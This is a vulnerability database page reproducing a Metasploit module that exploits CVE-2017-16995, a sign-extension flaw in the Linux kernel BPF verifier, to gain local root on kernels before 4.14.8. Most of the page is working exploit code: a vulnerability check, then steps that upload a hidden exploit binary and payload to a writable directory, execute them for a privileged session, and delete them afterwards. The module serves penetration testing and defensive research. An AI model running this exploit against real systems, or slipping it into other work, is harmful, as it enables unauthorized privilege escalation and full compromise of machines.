Lucene search
K

Linux BPF Sign Extension Local Privilege Escalation

🗓️ 24 Mar 2018 01:09:56Reported by Jann Horn, bleidl, vnik, rlarabee, h00die, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 133 Views

Linux BPF Sign Extension Local Privilege Escalation in Kernel 4.14.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
        'Description' => %q{
          Linux kernel prior to 4.14.8 contains a vulnerability in the Berkeley
          Packet Filter (BPF) verifier. The `check_alu_op` function performs
          incorrect sign extension which allows the verifier to be bypassed,
          leading to arbitrary kernel read/write.

          The target system must be compiled with BPF support and permit
          unprivileged access to BPF with `kernel.unprivileged_bpf_disabled`
          not set to 1.

          This module has been tested successfully on:

          Debian 9.0 kernel 4.9.0-3-amd64;
          Deepin 15.5 kernel 4.9.0-deepin13-amd64;
          ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
          Fedora 24 kernel 4.5.5-300.fc24.x86_64;
          Fedora 25 kernel 4.8.6-300.fc25.x86_64;
          Fedora 26 kernel 4.11.8-300.fc26.x86_64;
          Fedora 27 kernel 4.13.9-300.fc27.x86_64;
          Gentoo 2.2 kernel 4.5.2-aufs-r;
          Linux Mint 17.3 kernel 4.4.0-89-generic;
          Linux Mint 18.0 kernel 4.8.0-58-generic;
          Linux Mint 18.3 kernel 4.13.0-16-generic;
          Mageia 6 kernel 4.9.35-desktop-1.mga6;
          Manjero 16.10 kernel 4.4.28-2-MANJARO;
          Solus 3 kernel 4.12.7-11.current;
          Ubuntu 14.04.1 kernel 4.4.0-89-generic;
          Ubuntu 16.04.2 kernel 4.8.0-45-generic;
          Ubuntu 16.04.3 kernel 4.10.0-28-generic;
          Ubuntu 17.04 kernel 4.10.0-19-generic;
          ZorinOS 12.1 kernel 4.8.0-39-generic.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Jann Horn', # Discovery
            'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
            'vnik', # upstream44.c exploit
            'rlarabee', # cve-2017-16995.c exploit
            'h00die', # Metasploit
            'bcoles' # Metasploit
          ],
        'DisclosureDate' => '2017-11-12',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' =>
          [
            [ 'BID', '102288' ],
            [ 'CVE', '2017-16995' ],
            [ 'EDB', '44298' ],
            [ 'EDB', '45010' ],
            [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
            [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
            [ 'URL', 'https://cyseclabs.com/exploits/upstream44.c' ],
            [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
            [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
            [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
            [ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
            [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
            [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
            [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
          ],
        'Notes' =>
          {
            'AKA' => ['get-rekt-linux-hardened.c', 'upstream44.c'],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_OS_DOWN ]
          },
        'DefaultTarget' => 0
      )
    )
    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    arch = kernel_hardware

    unless arch.include?('x86_64')
      return CheckCode::Safe("System architecture #{arch} is not supported")
    end

    vprint_good("System architecture #{arch} is supported")

    release = kernel_release
    if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
       Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end

    vprint_good("Kernel version #{release} appears to be vulnerable")

    if unprivileged_bpf_disabled?
      return CheckCode::Safe('Unprivileged BPF loading is not permitted')
    end

    vprint_good('Unprivileged BPF loading is permitted')

    if lkrg_installed?
      return CheckCode::Safe('LKRG is installed')
    end

    vprint_good('LKRG is not installed')

    if grsec_installed?
      return CheckCode::Safe('grsecurity is in use')
    end

    vprint_good('grsecurity is not in use')

    config = kernel_config

    if config.nil?
      return CheckCode::Detected('Could not retrieve kernel config')
    end

    unless config.include?('CONFIG_BPF_SYSCALL=y')
      return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
    end

    vprint_good('Kernel config has CONFIG_BPF_SYSCALL enabled')

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status('Live compiling exploit on system...')
      upload_and_compile(executable_path, exploit_data('cve-2017-16995', 'exploit.c'))
    else
      vprint_status('Dropping pre-compiled exploit on system...')
      upload_and_chmodx(executable_path, exploit_data('cve-2017-16995', 'exploit.out'))
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit ...')
    output = cmd_exec("echo '#{payload_path} & exit' | #{executable_path} ")
    output.each_line { |line| vprint_status line.chomp }
    print_status("Cleaning up #{payload_path} and #{executable_path} ...")
    rm_f(executable_path)
    rm_f(payload_path)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation